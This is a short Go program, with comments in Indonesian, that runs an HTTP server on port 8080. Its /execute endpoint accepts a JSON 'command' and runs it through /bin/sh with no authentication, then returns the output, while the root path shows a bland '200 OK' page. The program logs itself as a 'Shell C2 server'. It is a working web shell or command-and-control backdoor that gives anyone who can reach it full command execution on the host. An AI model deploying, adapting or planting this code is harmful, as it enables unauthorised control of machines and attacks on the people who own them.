package main import ( "encoding/json" "log" "net/http" "os/exec" "strings" "sync" ) // CommandRequest struktur untuk request type CommandRequest struct { Command string `json:"command"` } // CommandResponse struktur untuk response type CommandResponse struct { Status string `json:"status"` Output string `json:"output,omitempty"` Error string `json:"error,omitempty"` } var ( commandLock sync.Mutex ) func commandHandler(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost { respondError(w, "Method not allowed", http.StatusMethodNotAllowed) return } var req CommandRequest if err := json.NewDecoder(r.Body).Decode(&req); err != nil { respondError(w, "Invalid JSON format", http.StatusBadRequest) return } if strings.TrimSpace(req.Command) == "" { respondError(w, "Command cannot be empty", http.StatusBadRequest) return } response := executeCommand(req.Command) w.Header().Set("Content-Type", "application/json") w.WriteHeader(http.StatusOK) json.NewEncoder(w).Encode(response) } func rootHandler(w http.ResponseWriter, r *http.Request) { w.Header().Set("Content-Type", "text/html") w.WriteHeader(http.StatusOK) w.Write([]byte("200 OK")) } func executeCommand(cmdStr string) CommandResponse { commandLock.Lock() defer commandLock.Unlock() cmd := exec.Command("/bin/sh", "-c", cmdStr) output, err := cmd.CombinedOutput() if err != nil { return CommandResponse{ Status: "error", Error: err.Error(), Output: string(output), } } return CommandResponse{ Status: "success", Output: string(output), } } func respondError(w http.ResponseWriter, message string, statusCode int) { w.Header().Set("Content-Type", "application/json") w.WriteHeader(statusCode) json.NewEncoder(w).Encode(CommandResponse{ Status: "error", Error: message, }) } func main() { http.HandleFunc("/", rootHandler) http.HandleFunc("/execute", commandHandler) port := ":8080" log.Printf("Shell C2 server running on port %s\n", port) log.Fatal(http.ListenAndServe(port, nil)) }